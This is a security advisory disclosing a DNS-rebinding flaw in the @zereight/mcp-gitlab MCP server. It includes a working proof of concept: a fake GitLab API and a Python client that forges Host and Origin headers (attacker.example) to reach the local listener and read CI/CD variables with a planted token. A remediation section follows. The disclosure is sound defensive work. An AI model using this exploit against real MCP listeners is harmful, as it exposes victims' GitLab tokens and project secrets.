GHSA-vmp7-252j-cwp7

`@zereight/mcp-gitlab` exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled `Host` and `Origin`. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.

This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is `@zereight/mcp-gitlab` version `2.1.18` at commit `74a8c834424ff557ad8bc6f225e4dc5acf80aa13`.

The vulnerable transport setup is in `index.ts`. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:

```typescript // index.ts:12077 app.use(express.json());

registerDownloadProxy(app); ```

The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:

```typescript // index.ts:12375 transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; metrics.totalSessions++; metrics.activeSessions++; }, }); ```

The transport constructor does not set `enableDnsRebindingProtection`, `allowedHosts`, or `allowedOrigins`. The server also does not add an Express middleware that rejects unexpected `Host` or `Origin` headers before `/mcp`.

The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:

```typescript // config.ts:192 export const HOST = getConfig("host", "HOST") || "127.0.0.1";

// config.ts:196 export const PORT = _intEnv("PORT", "port", _PORT_DEFAULT); ```

The README documents Streamable HTTP as a supported transport for modern remote deployments and documents `REMOTE_AUTHORIZATION=true` for multi-user HTTP deployments. In that mode, unauthenticated `tools/list` and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP `initialize` request instead of rejecting the connection as cross-origin localhost access.

## Proof of concept

The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:

- no-token `initialize` succeeds with attacker-controlled `Host` and `Origin`; - no-token `tools/list` is rejected with `401`; - the same forged-origin flow with a planted `Private-Token` lists tools and calls `list_project_variables`; - the fake GitLab API records the forwarded token and returns a planted fake project variable.

Start the fake GitLab API:

```bash python3 - <<'PY' import json from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from urllib.parse import parse_qs, urlparse

WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl" PROJECT_ID = "pluto/rebind-target" FAKE_SECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"

class Handler(BaseHTTPRequestHandler): def _json(self, status, payload): data = json.dumps(payload).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data)

def _record(self): parsed = urlparse(self.path) with open(WITNESS, "a", encoding="utf-8") as f: f.write(json.dumps({ "method": self.command, "path": parsed.path, "query": parse_qs(parsed.query), "authorization": self.headers.get("authorization"), "private_token": self.headers.get("private-token"), "job_token": self.headers.get("job-token"), }, sort_keys=True) + "\n")

def do_GET(self): self._record() path = urlparse(self.path).path if path == "/health": self._json(200, {"status": "ok"}) return if path.startswith("/api/v4/") and not ( self.headers.get("authorization") or self.headers.get("private-token") or self.headers.get("job-token") ): self._json(401, {"message": "401 Unauthorized", "missing": "GitLab token"}) return if path.endswith("/variables"): self._json(200, [{ "key": "PRODUCTION_DEPLOY_TOKEN", "value": FAKE_SECRET, "protected": True, "masked": False, }]) return self._json(200, {"ok": True, "path": path})

def log_message(self, fmt, *args): return

ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serve_forever() PY ```

In a second terminal, run the affected MCP server:

```bash git clone https://github.com/zereight/gitlab-mcp.git cd gitlab-mcp git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13 npm install npm run build

STREAMABLE_HTTP=true \ REMOTE_AUTHORIZATION=true \ HOST=127.0.0.1 \ PORT=8082 \ GITLAB_API_URL=http://127.0.0.1:18082/api/v4 \ GITLAB_READ_ONLY_MODE=true \ GITLAB_TOOLSETS=issues,projects,repository,ci \ GITLAB_TOOLS=list_project_variables \ node build/index.js ```

In a third terminal, send MCP requests with attacker-controlled browser-origin headers:

```bash python3 - <<'PY' import json import urllib.error import urllib.request

TARGET = "http://127.0.0.1:8082/mcp" REBIND_HOST = "attacker.example:8082" ORIGIN = "http://" + REBIND_HOST TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"

def parse_rpc(text): stripped = text.strip() if stripped.startswith("{"): return [json.loads(stripped)] out = [] for line in stripped.splitlines(): line = line.strip() if line.startswith("data:"): out.append(json.loads(line[5:].strip())) return out

class Client: def __init__(self, token=None): self.sid = None self.token = token

def post(self, body): headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Host": REBIND_HOST, "Origin": ORIGIN, } if self.token: headers["Private-Token"] = self.token if self.sid: headers["Mcp-Session-Id"] = self.sid headers["MCP-Protocol-Version"] = "2025-06-18" req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=20) as res: sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id") if sid: self.sid = sid text = res.read().decode("utf-8", "replace") return res.status, parse_rpc(text), text except urllib.error.HTTPError as exc: text = exc.read().decode("utf-8", "replace") return exc.code, parse_rpc(text), text

def rpc(self, method, params=None, rid=1): body = {"jsonrpc": "2.0", "id": rid, "method": method} if params is not None: body["params"] = params status, messages, raw = self.post(body) for msg in messages: if msg.get("id") == rid: return status, msg, raw return status, {}, raw

def initialized(self): self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})

def initialize(client, rid): return client.rpc("initialize", { "protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "dns-rebind-check", "version": "1"}, }, rid)

unauth = Client() status, init, raw = initialize(unauth, 1) print("unauth initialize:", status, "session:", unauth.sid) unauth.initialized() status, listed, raw = unauth.rpc("tools/list", {}, 2) print("unauth tools/list:", status, raw[:200])

authed = Client(TOKEN) status, init, raw = initialize(authed, 3) print("token initialize:", status, "session:", authed.sid) authed.initialized() status, listed, raw = authed.rpc("tools/list", {}, 4) tools = [tool["name"] for tool in listed["result"]["tools"]] print("listed list_project_variables:", "list_project_variables" in tools) status, called, raw = authed.rpc("tools/call", { "name": "list_project_variables", "arguments": {"project_id": "pluto/rebind-target"}, }, 5) print(raw) PY ```

Observed output:

```text unauth initialize: 200 session: <uuid> unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."} token initialize: 200 session: <uuid> listed list_project_variables: True [ { "key": "PRODUCTION_DEPLOY_TOKEN", "value": "glpat-FAKE-PROJECT-CI-SECRET-0001", "protected": true, "masked": false } ] ```

The fake GitLab API witness records that the MCP server forwarded the token to the backend request:

```json {"authorization": null, "job_token": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "private_token": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}} ```

## Impact

A malicious web page can reach a local `@zereight/mcp-gitlab` Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled `Host` and `Origin` headers. In the current remote-authorization mode, token checks block unauthenticated `tools/list` and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.

The confirmed impact is:

- attacker-origin browser traffic reaches the local MCP `initialize` path; - server-side Host and Origin validation are absent on `/mcp`; - tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present; - GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.

## Why this is a vulnerability, not intended behavior

- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for `Host` and `Origin`. - The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs `StreamableHTTPServerTransport` without enabling those controls and does not add an equivalent Express guard. - `REMOTE_AUTHORIZATION=true` protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.

## Remediation

Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:

```typescript transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), enableDnsRebindingProtection: true, allowedHosts: [ `127.0.0.1:${PORT}`, `localhost:${PORT}`, ], allowedOrigins: [ `http://127.0.0.1:${PORT}`, `http://localhost:${PORT}`, ], onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; }, }); ```

Add an Express middleware before `/mcp` that rejects unexpected `Host` and `Origin` values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.